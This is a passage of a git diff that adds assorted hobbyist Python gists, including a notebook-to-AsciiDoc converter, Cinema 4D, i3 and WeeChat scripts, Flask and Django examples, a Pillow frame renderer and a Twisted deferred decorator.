+        img_idx = 0
+        in_stream = False
+        for output in cell.outputs:
+            if output.output_type in ("stream", "pyout"):
+                if (output.output_type == "pyout" and has_figure):
+                    # skip matplotlib object representation
+                    # Hack: this breaks if we want to display a python object
+                    # and a plot in the same cell but do we care?
+                    continue
+                output_lines = _clean_output_lines(output.text)
+                if len(output_lines) > 0:
+                    if not in_stream:
+                        self.lines.append(ASCIIDOC_BLOCK)
+                        in_stream = True
+                    self.lines.extend(output_lines)
+            elif output.output_type == "display_data":
+                if in_stream:
+                    self.lines.append(ASCIIDOC_BLOCK)
+                    self.lines.append('\n')
+                    in_stream = False
+                if 'png' in output:
+                    img_name = "images/%s-%03d.png" % (uuid, img_idx)
+                    img_bytes = base64.decodestring(output.png)
+                    self.images.append((img_name, img_bytes))
+                    self.lines.append('[[' + uuid.replace('-', '_') + ']]\n')
+                    self.lines.append('.' + figure_title + '\n')
+                    img_line = 'image::%s[scale="75"]\n' % img_name
+                    self.lines.append(img_line)
+                    self.lines.append('\n')
+                    img_idx += 1
+        if in_stream:
+            if self.lines[-1] == '\n':
+                self.lines.pop()
+            self.lines.append(ASCIIDOC_BLOCK)
+            self.lines.append('\n')
+        self.lines.append(CODE_CELL_END + '\n\n')
+        return self
+
+
+class AsciidDoc(object):
+
+    def __init__(self, filename=None):
+        self.first_node = current_node = Node()
+        self.filename = filename
+        self.uuid_nodes = {}
+
+        if filename is not None:
+            with open(filename, 'rb') as f:
+                line_iterator = iter(f)
+                for line in line_iterator:
+                    if (line.startswith(CODE_CELL_START)):
+                        uuid = line[len(CODE_CELL_START):].strip()
+                        current_node = current_node.connect(CodeNode())
+                        current_node.lines.append(line)
+                        self.uuid_nodes[uuid] = current_node
+
+                    elif line.startswith(CODE_CELL_END):
+                        current_node.lines.append(line)
+                        try:
+                            # CODE_CELL_END has two line returns
+                            current_node.lines.append(line_iterator.next())
+                        except StopIteration:
+                            pass
+                        current_node = current_node.connect(Node())
+                    else:
+                        current_node.lines.append(line)
+
+    def get_last_node(self):
+        current_node = self.first_node
+        while current_node.next_node is not None:
+            current_node = current_node.next_node
+        return current_node
+
+    def merge_code_from(self, nb):
+        where_to_append = self.get_last_node()
+        for ws in nb.worksheets:
+            for cell in ws.cells:
+                if cell.cell_type == 'code':
+                    asciidoc_metadata = cell.metadata.get('asciidoc')
+                    if asciidoc_metadata == "skip":
+                        continue
+                    uuid = cell.metadata.setdefault('uuid', str(uuid4()))
+                    uuid_node = self.uuid_nodes.get(uuid)
+                    if uuid_node is not None:
+                        uuid_node.with_code_cell(cell)
+                        where_to_append = uuid_node
+                    else:
+                        new_node = CodeNode(asciidoc_metadata)
+                        new_node.with_cell(cell)
+                        where_to_append = where_to_append.connect(new_node)
+
+    def convert_from(self, nb):
+        current_node = self.first_node
+        for ws in nb.worksheets:
+            for cell in ws.cells:
+                if cell.cell_type == 'code':
+                    asciidoc_metadata = cell.metadata.get('asciidoc')
+                    if asciidoc_metadata == "skip":
+                        continue
+                    cell.metadata.setdefault('uuid', str(uuid4()))
+                    new_node = CodeNode(asciidoc_metadata).with_code_cell(cell)
+                    current_node = current_node.connect(new_node)
+                elif cell.cell_type == 'markdown':
+                    current_node = current_node.connect(Node())
+                    source = re.sub(' +(\n|$)', '\n', cell.source)
+                    if not source.endswith('\n'):
+                        source += '\n'
+                    current_node.lines.append(source)
+                    current_node.lines.append('\n')
+                elif cell.cell_type == 'heading':
+                    current_node = current_node.connect(Node())
+                    heading = '=' * (cell.level + 1) + " " + cell.source + '\n'
+                    current_node.lines.append('\n')
+                    current_node.lines.append(heading)
+                    current_node.lines.append('\n')
+
+    def save(self, filename=None):
+        if filename is None:
+            filename = self.filename
+        current_node = self.first_node
+        base_folder = os.path.dirname(filename)
+        with open(filename, 'wb') as f:
+            # Save the main asciidoc file
+            while current_node is not None:
+                for line in current_node.lines:
+                    f.write(line.encode('utf-8'))
+
+                # Save auxiliary files
+                for img_name, img_bytes in current_node.images:
+                    img_path = os.path.join(base_folder, img_name)
+                    folder = os.path.dirname(img_path)
+                    if not os.path.exists(folder):
+                        os.makedirs(folder)
+                    with open(img_path, 'wb') as img_f:
+                        img_f.write(img_bytes)
+
+                current_node = current_node.next_node
+
+
+def process_notebook_file(fname, actions=('clean',), asciidoc_fname=None):
+    print("Performing '{}' on: {}".format("', '".join(actions), fname))
+
+    orig_wd = os.getcwd()
+    os.chdir(os.path.dirname(fname))
+
+    with io.open(fname, 'rb') as f:
+        nb = current.read(f, 'json')
+
+    if 'uuid' in actions:
+        check_uuid(nb)
+
+    if 'render' in actions:
+        run_notebook(nb)
+    elif 'check' in actions:
+        run_notebook(deepcopy(nb))
+
+    if 'clean' in actions:
+        remove_outputs(nb)
+
+    if 'merge' in actions:
+        doc = AsciidDoc(asciidoc_fname)
+        doc.merge_code_from(nb)
+        doc.save()
+    elif 'convert' in actions:
+        doc = AsciidDoc()
+        doc.convert_from(nb)
+        doc.save(asciidoc_fname)
+
+    os.chdir(orig_wd)
+
+    with io.open(fname, 'wb') as f:
+        current.write(nb, f, 'json')
+
+
+if __name__ == '__main__':
+    # TODO: use argparse instead
+    args = sys.argv[1:]
+    targets = [t for t in args if not t.startswith('--')]
+    actions = [a[2:] for a in args if a.startswith('--')]
+    if not actions:
+        print('Please specify actions to perform')
+        sys.exit(1)
+
+    if not targets:
+        targets = [os.path.join(os.path.dirname(__file__), 'notebooks')]
+
+    for target in targets:
+        if os.path.isdir(target):
+            fnames = [os.path.abspath(os.path.join(target, f))
+                      for f in os.listdir(target)
+                      if f.endswith('.ipynb')]
+        else:
+            fnames = [os.path.abspath(target)]
+        for fname in fnames:
+            if 'merge' in actions or 'convert' in actions:
+                asciidoc_fname = os.path.basename(fname)[:-len('.ipynb')]
+                asciidoc_fname += '.asciidoc'
+                asciidoc_fname = os.path.join(os.path.dirname(fname),
+                                              '..',
+                                              asciidoc_fname)
+            else:
+                asciidoc_fname = None
+            process_notebook_file(fname, actions=actions,
+                                  asciidoc_fname=asciidoc_fname)
diff --git a/hard-gists/6622928/._snippet.py b/hard-gists/6622928/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6622928/._snippet.py differ
diff --git a/hard-gists/6622928/snippet.py b/hard-gists/6622928/snippet.py
new file mode 100644
index 00000000..5591fdb8
--- /dev/null
+++ b/hard-gists/6622928/snippet.py
@@ -0,0 +1,35 @@
+# @rosensteinn #c4dpytask Remove all empty texture tags on the Scene?
+# Share it if you have a solution!
+
+import c4d
+
+def iter_hierarchy(op):
+    # Iterate over each tag of the current object.
+    for tag in op.GetTags():
+        
+        # Check if the tag is a texture tag, and if it is, if it has
+        # _no_ material in its link field.
+        if tag.CheckType(c4d.Ttexture) and not tag[c4d.TEXTURETAG_MATERIAL]:
+            
+            # Ok, there is not material in the texture tag, we can remove
+            # if from the object. We need to tell the document that we
+            # are about to remove the tag to make the complete script
+            # undo-able.
+            doc.AddUndo(c4d.UNDOTYPE_DELETE, tag)
+            tag.Remove()
+
+    # Iterate over each child of the current object and repeate
+    # this process.
+    for child in op.GetChildren():
+        iter_hierarchy(child)
+
+def main():
+    # Initiate the process of checking for unused texture tags for
+    # all objects in the top-hierarchy level.
+    for op in doc.GetObjects():
+        iter_hierarchy(op)
+        
+    # Update the Cinema 4D UI.
+    c4d.EventAdd()
+
+main()
\ No newline at end of file
diff --git a/hard-gists/6623972/._snippet.py b/hard-gists/6623972/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6623972/._snippet.py differ
diff --git a/hard-gists/6623972/snippet.py b/hard-gists/6623972/snippet.py
new file mode 100644
index 00000000..f704e022
--- /dev/null
+++ b/hard-gists/6623972/snippet.py
@@ -0,0 +1,59 @@
+#!/usr/bin/env python
+#
+# author: syl20bnr (2013)
+# goal: Focus the nth window in the current workspace (limited to 10 firsts)
+#
+# Example of usage in i3 config:
+#
+# bindsym $mod+0   exec focus_win.py -n 0
+# bindsym $mod+1   exec focus_win.py -n 1
+# ...              ...
+# bindsym $mod+8   exec focus_win.py -n 8
+# bindsym $mod+9   exec focus_win.py -n 9
+
+import argparse
+from subprocess import Popen
+import i3
+
+
+PARSER = argparse.ArgumentParser(prog='focus_win')
+PARSER.add_argument('-n', '--number',
+                    required=True,
+                    type=int,
+                    choices=[0, 1, 2, 3, 4, 5, 6, 7, 8, 9],
+                    help='Window number (limited to [0,9]).')
+
+
+def focus_nth_window(nth):
+    ''' Roughly focus the nth window in the hierarchy (limited to 10 first) '''
+    wins = get_windows_from_current_workspace()
+    if nth == 0:
+        nth = 10
+    cmd = 'i3-msg [con_id={0}] focus'.format(wins[nth-1])
+    Popen(cmd, shell=True)
+
+
+def get_windows_from_current_workspace():
+    res = []
+    ws = get_current_workspace()
+    workspace = i3.filter(name=ws)
+    if workspace:
+        workspace = workspace[0]
+        windows = i3.filter(workspace, nodes=[])
+        for window in windows:
+            res.append(window['id'])
+    return res
+
+
+def get_current_workspace():
+    ''' Returns the current workspace '''
+    workspaces = i3.msg('get_workspaces')
+    workspace = i3.filter(tree=workspaces, focused=True)
+    if workspace:
+        return workspace[0]['name']
+    return ''
+
+
+if __name__ == '__main__':
+    args = PARSER.parse_args()
+    focus_nth_window(args.number)
diff --git a/hard-gists/6625609/._snippet.py b/hard-gists/6625609/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6625609/._snippet.py differ
diff --git a/hard-gists/6625609/snippet.py b/hard-gists/6625609/snippet.py
new file mode 100644
index 00000000..e64fc5b8
--- /dev/null
+++ b/hard-gists/6625609/snippet.py
@@ -0,0 +1,109 @@
+from flask import Flask, request, abort, g, current_app
+
+from flask.ext.principal import Principal
+from flask.ext.principal import Identity, identity_changed, identity_loaded
+from flask.ext.principal import Permission, Need, RoleNeed, ItemNeed
+
+app = Flask(__name__)
+app.config['SECRET_KEY'] = 'test_secret_key'
+app.config['TESTING'] = True
+
+Principal(app)
+
+admin = Permission(RoleNeed('admin'))
+manager_or_blogger = Permission(RoleNeed('manager'), RoleNeed('blogger'))
+blogger = Permission(RoleNeed('blogger'))
+
+@identity_loaded.connect
+def _on_principal_init(sender, identity):
+    # Standard, not lazy roles
+    role_map = {
+        'admin': (RoleNeed('admin'),),
+        'manager': (RoleNeed('manager'),),
+        'blogger': (RoleNeed('blogger'),),
+        'admin_blogger': (RoleNeed('admin'), RoleNeed('blogger')),
+        'manager_blogger': (RoleNeed('manager'), RoleNeed('blogger')),
+    }
+
+    roles = role_map.get(identity.id)
+    if roles:
+        for role in roles:
+            identity.provides.add(role)
+
+
+class Blog(object):
+    def __init__(self, identity, title):
+        self.identity = identity
+        self.title = title
+blogs = {}
+
+
+class BlogEntryEditPermission(Permission):
+    """
+    Lazily loaded permission check.
+    """
+
+    def allows(self, identity):
+        # current entry is already in the request
+        blog_id = request.view_args.get('blog_id')
+        blog = blogs.get(blog_id)
+        if not blog:
+            # free sanity check.
+            abort(404)
+
+        result = blog.identity == identity.id
+        return result
+
+blog_edit = BlogEntryEditPermission()
+
+
+@app.route('/')
+def hello():
+    return 'Hello %s!' % g.identity.id
+
+@app.route('/login/<userid>')
+def login_admin(userid):
+    identity_changed.send(current_app._get_current_object(),
+                          identity=Identity(userid))
+    return 'logged in as %s' % userid
+
+@app.route('/logout')
+def logout():
+    identity_changed.send(current_app._get_current_object(),
+                          identity=Identity(None))
+    return 'logged out'
+
+@app.route('/blog/create', methods=['GET', 'POST'])
+@blogger.require()
+def blog_create():
+    if request.method == 'POST':
+        blog = Blog(g.identity.id, 'blog title')
+        blog.id = len(blogs) + 1
+        blogs[blog.id] = blog
+        return 'Blog entry %s created' % blog.id
+    return ('<form method="POST"><p>Create your blog entry.</p>'
+        '<input type="submit"/></form>')
+
+@app.route('/blog/edit/<int:blog_id>')
+@blogger.require()
+@blog_edit.require()
+def blog_edit(blog_id):
+    return 'Editing blog entry: %s' % blog_id
+    # XXX question: how do you let manager blogger be able to edit all
+    # entries?
+
+@app.route('/blog/manage')
+@manager_or_blogger.require()
+def blog_manage():
+    # Only managers or bloggers can view this.
+    return 'Restricted Blog management Tool.'
+
+@app.route('/blog/admin')
+@admin.require()
+@manager_or_blogger.require()
+def blogadmin():
+    # Only admins who are also managers or bloggers can view this.
+    return 'Blog Administrative Tool.'
+
+if __name__ == '__main__':
+    app.run(port=8880)
diff --git a/hard-gists/6627336/._snippet.py b/hard-gists/6627336/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6627336/._snippet.py differ
diff --git a/hard-gists/6627336/snippet.py b/hard-gists/6627336/snippet.py
new file mode 100644
index 00000000..6aabf458
--- /dev/null
+++ b/hard-gists/6627336/snippet.py
@@ -0,0 +1,7 @@
+from scipy.stats import beta
+
+def binom_interval(success, total, confint=0.95):
+    quantile = (1 - confint) / 2.
+    lower = beta.ppf(quantile, success, total - success + 1)
+    upper = beta.ppf(1 - quantile, success + 1, total - success)
+    return (lower, upper)
diff --git a/hard-gists/6637377/._snippet.py b/hard-gists/6637377/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6637377/._snippet.py differ
diff --git a/hard-gists/6637377/snippet.py b/hard-gists/6637377/snippet.py
new file mode 100644
index 00000000..1bc2c22b
--- /dev/null
+++ b/hard-gists/6637377/snippet.py
@@ -0,0 +1,58 @@
+from django.template import Library
+from django import template
+from app import settings
+
+register = Library()
+
+@register.tag
+def ifappexists(parser, token):
+    """ Conditional Django template tag to check if one or more apps exist.
+
+    Usage: {% ifappexists tag %} ... {% endifappexists %}, or
+           {% ifappexists tag inventory %} ... {% else %} ... {% endifappexists %}
+
+    """
+    try:
+        tokens = token.split_contents()
+        apps = []
+        apps += tokens[1:]
+    except ValueError:
+        raise template.TemplateSyntaxError("Tag 'ifappexists' requires at least 1 argument.")
+
+    nodelist_true = parser.parse(('else', 'endifappexists'))
+    token = parser.next_token()
+
+    if token.contents == 'else':
+        nodelist_false = parser.parse(('endifappexists',))
+        parser.delete_first_token()
+    else:
+        nodelist_false = template.NodeList()
+
+    return AppCheckNode(apps, nodelist_true, nodelist_false)
+
+
+class AppCheckNode(template.Node):
+    def __init__(self, apps, nodelist_true, nodelist_false):
+        self.apps = apps
+        self.nodelist_true = nodelist_true
+        self.nodelist_false = nodelist_false
+
+    def render(self, context):
+        allowed = False
+        for app in self.apps:
+
+            if app.startswith('"') and app.endswith('"'):
+                app = app[1:-1]
+
+            if app.startswith("'") and app.endswith("'"):
+                app = app[1:-1]
+
+            if app in settings.INSTALLED_APPS:
+                allowed = True
+            else:
+                break
+
+        if allowed:
+            return self.nodelist_true.render(context)
+        else:
+            return self.nodelist_false.render(context)
\ No newline at end of file
diff --git a/hard-gists/6649639/._snippet.py b/hard-gists/6649639/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6649639/._snippet.py differ
diff --git a/hard-gists/6649639/Dockerfile-llm-3.7 b/hard-gists/6649639/Dockerfile-llm-3.7
new file mode 100644
index 00000000..3e498ae2
--- /dev/null
+++ b/hard-gists/6649639/Dockerfile-llm-3.7
@@ -0,0 +1,11 @@
+# FROM is the found expected Python version
+FROM python:3.7
+# Set the working directory to /app
+WORKDIR /app
+# Add install commands for all of the python modules
+RUN ["pip","install","--upgrade","pip"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","flask==2.2.5"]
+# Copy the specified directory to /app
+COPY snippet.py /app
+# Run the specified python file
+CMD ["python", "/app/snippet.py"]
\ No newline at end of file
diff --git a/hard-gists/6649639/modules/flask_3.7.txt b/hard-gists/6649639/modules/flask_3.7.txt
new file mode 100644
index 00000000..4ddf5b00
--- /dev/null
+++ b/hard-gists/6649639/modules/flask_3.7.txt
@@ -0,0 +1 @@
+0.1, 0.2, 0.3, 0.3.1, 0.4, 0.5, 0.5.1, 0.5.2, 0.6, 0.6.1, 0.7, 0.10, 0.10.1, 0.11, 0.11.1, 0.12, 0.12.1, 0.12.2, 0.12.3, 0.12.4, 0.12.5, 1.0, 1.0.1, 1.0.2, 1.0.3, 1.0.4, 1.1.0, 1.1.1, 1.1.2, 1.1.3, 1.1.4, 2.0.0, 2.0.0rc1, 2.0.0rc2, 2.0.1, 2.0.2, 2.0.3, 2.1.0, 2.1.1, 2.1.2, 2.1.3, 2.2.0, 2.2.1, 2.2.2, 2.2.3, 2.2.4, 2.2.5, 2.3.0, 2.3.1, 2.3.2, 2.3.3, 3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.1.0, 3.1.1, 3.1.2, 3.1.3
\ No newline at end of file
diff --git a/hard-gists/6649639/snippet.py b/hard-gists/6649639/snippet.py
new file mode 100644
index 00000000..ce7baa0d
--- /dev/null
+++ b/hard-gists/6649639/snippet.py
@@ -0,0 +1,71 @@
+# -*- coding: utf-8 -*-
+"""
+    Inspiration taken from Flask-Exceptiopn 
+    :copyright: (c) 2012 by Jonathan Zempel.
+    :license: BSD, see LICENSE for more details.
+"""
+
+from __future__ import with_statement
+
+from flask import _request_ctx_stack as stack, redirect
+from functools import wraps
+
+from .models import Redirect
+
+
+class QuokkaRedirect(object):
+
+    def init_app(self, app):
+        """Initialize this Exceptional extension.
+
+        :param app: The Flask application to track errors for.
+        """
+        if not hasattr(app, "extensions"):
+            app.extensions = {}
+
+        if "quokka-redirect" in app.extensions:
+            app.logger.warning("Repeated Quokka-redirect initialization attempt.")
+        else:
+            app.handle_http_exception = self._get_http_exception_handler(app)
+            app.extensions["quokka-redirect"] = self
+
+    def _get_http_exception_handler(self, app):
+        """Get a wrapped HTTP exception handler. Returns a handler that can
+        be used to override Flask's ``app.handle_http_exception``. The wrapped
+        handler redirects if it exists in Redirect document
+
+        :param app: The app for which the HTTP exception handler is being
+            wrapped.
+        """
+        handle_http_exception = app.handle_http_exception
+
+        @wraps(handle_http_exception)
+        def ret_val(exception):
+            context = stack.top
+            request = context.request
+            #  Full url, e.g.,
+            #  http://example.com/channel/page.html?x=y
+            url = request.url
+            #  Previous url maps to
+            #  http://example.com/channel/
+            url_root = request.url_root
+            #  Removes the query parameters
+            base_url = request.base_url
+            #  /channel
+            script_root = request.script_root
+            #  /page.html
+            path = request.path
+            if path.startswith('/'):
+                path = path[1:]
+            paths = path.split('/')
+            mpath = ",".join(paths)
+            mpath = ",{0},".format(mpath)
+            if exception.code in [404,]:
+                try: 
+                    redirect_to = Redirect.objects.get(linkname=path)
+                    target = redirect_to.target
+                    long_slug = target.get_absolute_url()
+                except:            
+                    return handle_http_exception(exception)
+                return redirect(long_slug)
+        return ret_val
diff --git a/hard-gists/667150e96fdc2d53fd11/._snippet.py b/hard-gists/667150e96fdc2d53fd11/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/667150e96fdc2d53fd11/._snippet.py differ
diff --git a/hard-gists/667150e96fdc2d53fd11/snippet.py b/hard-gists/667150e96fdc2d53fd11/snippet.py
new file mode 100644
index 00000000..7e17e7c9
--- /dev/null
+++ b/hard-gists/667150e96fdc2d53fd11/snippet.py
@@ -0,0 +1,78 @@
+from __future__ import division
+
+import os
+import numpy
+from PIL import Image, ImageDraw
+
+
+class Renderer():
+    def __init__(
+            self, size=(640, 480), sampler=None,
+            num_frames=100, samples_per_frame=1, fps=30, bg=None,
+            save_dir="/tmp/sketch_images"):
+        self.size = size
+        self.sampler = sampler
+        self.num_frames = num_frames
+        self.samples_per_frame = samples_per_frame
+        self.fps = fps
+        self.bg = bg
+        self.duration = num_frames*fps
+        self.save_dir = os.path.expanduser(save_dir)
+
+    def render(self):
+        if self.sampler is None:
+            raise Exception("No sampler defined for {}".format(self))
+
+        self.prepare_render_dir()
+
+        for frame_num in xrange(self.num_frames):
+            cur_frame = numpy.zeros(
+                (self.size[0], self.size[1], 3),
+                numpy.float
+            )
+            for sample_num in xrange(self.samples_per_frame):
+                sub_time = sample_num/self.samples_per_frame
+                time = (frame_num + sub_time)/self.num_frames
+
+                cur_sample = Image.new("RGB", self.size, self.bg)
+
+                # TODO: Replace Pillow's shitty .Draw() module with
+                # something useful.
+                cur_drawer = ImageDraw.Draw(cur_sample)
+                self.sampler(time, cur_drawer)
+
+                numpy_sample = numpy.array(cur_sample, dtype=numpy.float)
+                cur_frame += numpy_sample/self.samples_per_frame
+
+            converted_frame = numpy.array(
+                numpy.round(cur_frame),
+                dtype=numpy.uint8
+            )
+            frame_image = Image.fromarray(converted_frame, mode="RGB")
+            self.save_frame(frame_num, frame_image)
+
+    def prepare_render_dir(self):
+        path = self.save_dir
+        if os.path.isdir(path):
+            # Get rid of any existing (possibly conflicting) frames
+            os.system("rm {}".format(os.path.join(path, "f*.png")))
+        elif not os.path.exists(path):
+            os.mkdir(path)
+        else:
+            raise Exception("Destination isn't a directory")
+
+    def save_frame(self, frame_num, frame):
+        # TODO: This breaks at over 999 frames
+        filename = "f{:03d}.png".format(frame_num)
+        path = os.path.join(self.save_dir, filename)
+        frame.save(path)
+
+    def render_gif(self, filename):
+        self.render()
+        # Using Graphicsmagick manually instead of Pillow's existing
+        # gif conversion because... Well, it's shit.
+        os.system("gm convert -delay {fps} {files} {output}".format(
+            fps=(100/self.fps),
+            files=(os.path.join(self.save_dir, "f*.png")),
+            output=(filename)
+        ))
diff --git a/hard-gists/6673250/._snippet.py b/hard-gists/6673250/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6673250/._snippet.py differ
diff --git a/hard-gists/6673250/snippet.py b/hard-gists/6673250/snippet.py
new file mode 100644
index 00000000..dc6c6c61
--- /dev/null
+++ b/hard-gists/6673250/snippet.py
@@ -0,0 +1,88 @@
+# -*- coding: utf-8 -*-
+
+from __future__ import unicode_literals, absolute_import, division
+
+import pytest
+from django_webtest import DjangoTestApp, WebTestMixin
+
+
+class Stub(object):
+    """Stub methods, keep track of calls."""
+
+    def __init__(self, monkeypatch):
+        self.monkeypatch = monkeypatch
+        self.stubbed = {}
+
+    def stub(self, obj, **kwargs):
+        """Stub obj.method to return whatever parameter was passed for method.
+
+        Usage: stub(django.utils.timezone, now='now')
+
+        It's possible to stub several methods on the same object at once.
+
+        """
+        self.stubbed.setdefault(obj, {})
+        for method, val in kwargs.items():
+            self._stub(obj, method, val)
+        return self.stubbed[obj]
+
+    def _stub(self, obj, method, value):
+        """Wrap the value to be returned, to check for its calls."""
+
+        def call(*args, **kwargs):
+            """Return the value monkeypatched for this method, track call."""
+            self.stubbed[obj][method].append({'args': args, 'kwargs': kwargs})
+            return value(*args, **kwargs)
+
+        self.stubbed[obj][method] = []  # new stub: reset calls, if any
+        self.monkeypatch.setattr(obj, method, call)
+
+
+@pytest.fixture(scope='function')
+def stubber(monkeypatch):
+    """Provides stubbing capabilities."""
+    return Stub(monkeypatch)
+
+
+@pytest.fixture(scope='function')
+def stub_save(stubber):
+    """Stub the Model.save() method to avoid database access."""
+    from django.db.models import Model
+
+    def stubbed_save(self, *args, **kwargs):
+        return 'no database access'
+
+    stubbed = stubber.stub(Model, save=stubbed_save)
+    return stubbed['save']
+
+
+@pytest.fixture(scope='session')
+def setup_view():
+    def _setup_view(view, request, *args, **kwargs):
+        """Mimic as_view() returned callable, but returns a view instance.
+
+        args and kwargs are the same you would pass to ``reverse()``
+
+        """
+        view.request = request
+        view.args = args
+        view.kwargs = kwargs
+        return view
+
+    return _setup_view
+
+
+@pytest.fixture(scope='function')
+def app():
+    """WebTest's TestApp.
+
+    Patch and unpatch settings before and after each test.
+
+    WebTestMixin, when used in a unittest.TestCase, automatically calls
+    _patch_settings() and _unpatchsettings.
+
+    """
+    wtm = WebTestMixin()
+    wtm._patch_settings()
+    request.addfinalizer(wtm._unpatch_settings)
+    return DjangoTestApp()
\ No newline at end of file
diff --git a/hard-gists/667919/._snippet.py b/hard-gists/667919/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/667919/._snippet.py differ
diff --git a/hard-gists/667919/snippet.py b/hard-gists/667919/snippet.py
new file mode 100644
index 00000000..cbc4bcda
--- /dev/null
+++ b/hard-gists/667919/snippet.py
@@ -0,0 +1,87 @@
+from twisted.internet import defer, reactor
+from twisted.enterprise import adbapi
+
+def deferredInit(deferredName):
+    """
+    Mark a method as waiting on deferred initialization.
+    """
+    def _deferredInit(func):
+        def __deferredInit(self, *args, **kwargs):
+            initDeferred = None
+            if(hasattr(self, deferredName)):
+                initDeferred = getattr(self, deferredName)
+                if(initDeferred.called):
+                    return defer.maybeDeferred(func, self, *args, **kwargs)
+            else:
+                raise RuntimeError("%s doesn't define the Deferred attribute `%s`." % (self.__class__.__name__, deferredName))
+            
+            def _finish(result):
+                return func(self, *args, **kwargs)
+            
+            def _finish_error(failure):
+                print '_finish_err: %s' % failure
+            
+            resultDeferred = defer.Deferred()
+            resultDeferred.addCallbacks(_finish, _finish_error)
+            
+            initDeferred.chainDeferred(resultDeferred)
+            
+            return resultDeferred
+        return __deferredInit
+    
+    # if it's a callable, that means there's no arguments
+    # so we use the defaultname for the instance's deferred
+    if(callable(deferredName)):
+        func = deferredName
+        deferredName = 'initDeferred'
+        return _deferredInit(func)
+    
+    return _deferredInit
+
+class TestDeferredInit(object):
+    def __init__(self):
+        self.pool = adbapi.ConnectionPool("MySQLdb", 'localhost', 'modu', 'modu')
+        self.initDeferred = self.pool.runQuery("SELECT 'it worked';")
+        def _finish_init(msg):
+            self.msg = msg
+        def _finish_init_error(failure):
+            print '_finish_init_err: %s' % failure
+        self.initDeferred.addCallbacks(_finish_init, _finish_init_error)
+    
+    # # this is the same as
+    # @deferredInit('initDeferred')
+    @deferredInit
+    def query(self):
+        """
+        This method will always return a deferred.
+        
+        The result will only fire once the Deferred created
+        by the deferredInit decorator has fired.
+        """
+        return self.msg
+
+if(__name__ == '__main__'):
+    def _print(msg, label):
+        print '%s: %s' % (label, msg)
+        # once we've done the third call, quit the reactor
+        if(label == '3'):
+            reactor.stop()
+    
+    def _print_error(failure):
+        print '_print_err: %s' % failure
+    
+    test = TestDeferredInit()
+    
+    # the following calls will not fire until
+    # the deferred created by the constructor fires
+    
+    d = test.query()
+    d.addCallbacks(_print, _print_error, callbackArgs=['1'])
+    
+    d2 = test.query()
+    d2.addCallbacks(_print, _print_error, callbackArgs=['2'])
+    
+    d3 = test.query()
+    d3.addCallbacks(_print, _print_error, callbackArgs=['3'])
+    
+    reactor.run()
\ No newline at end of file
diff --git a/hard-gists/6679768/._snippet.py b/hard-gists/6679768/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6679768/._snippet.py differ
diff --git a/hard-gists/6679768/snippet.py b/hard-gists/6679768/snippet.py
new file mode 100644
index 00000000..462d7b01
--- /dev/null
+++ b/hard-gists/6679768/snippet.py
@@ -0,0 +1,52 @@
+#############################################################################
+# Weechat cowsay plugin, sends messages with a low priority in the current
+# buffer, used /cowchat <cowfile> <message>
+#
+# Written by telnoratti <telnoratti@telnor.org>
+#
+# Copyright (c) 2013, Telnor Institute
+#
+# Permission to use, copy, modify, and/or distribute this software for any
+# purpose with or without fee is hereby granted, provided that the above
+# copyright notice and this permission notice appear in all copies.
+#
+# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
+# REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
+# AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
+# INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
+# LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
+# OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
+# PERFORMANCE OF THIS SOFTWARE.
+
+
+import weechat
+
+weechat.register("cowchat", "cowchat", "0.4", "BSD", "Cowchat!", "", "utf-8")
+
+def cowcall(data, buffer, args):
+    cowfile, sep, say = args.partition(" ")
+    if cowfile == "" or say == "":
+        return weechat.WEECHAT_RC_ERROR
+    server, sep, channel = weechat.buffer_get_string(buffer, "name").partition("#")
+    server = server[0:-1]
+    channel = ''.join([sep, channel])
+    weechat.hook_process("cowsay -f {0} {1}".format(cowfile, say),
+                         2000,
+                         "cowchat",
+                         "{0};{1}".format(server, channel))
+    return weechat.WEECHAT_RC_OK
+
+def cowchat(data, command, return_code, out, err):
+    for line in out.split("\n"):
+        if len(line) > 0 and line[0] == '/':
+            line = '/' + line
+        weechat.hook_signal_send("irc_input_send", weechat.WEECHAT_HOOK_SIGNAL_STRING,
+                                 "{0};2;;{1}".format(data, line))
+    return weechat.WEECHAT_RC_OK
+
+
+hook = weechat.hook_command("cowchat", "Pastes a cowsay into the current buffer",
+                            "word | text",
+                            "<cow> <say>",
+                            "",
+                            "cowcall", "")
\ No newline at end of file
diff --git a/hard-gists/667c5554e5d9d9a25ae6/._snippet.py b/hard-gists/667c5554e5d9d9a25ae6/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/667c5554e5d9d9a25ae6/._snippet.py differ
diff --git a/hard-gists/667c5554e5d9d9a25ae6/snippet.py b/hard-gists/667c5554e5d9d9a25ae6/snippet.py
new file mode 100644
index 00000000..91dd7e52
--- /dev/null
+++ b/hard-gists/667c5554e5d9d9a25ae6/snippet.py
@@ -0,0 +1,179 @@
+# The MIT License (MIT)
+
+# Copyright (c) 2014 Lycaon (lycaon.me)
+
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
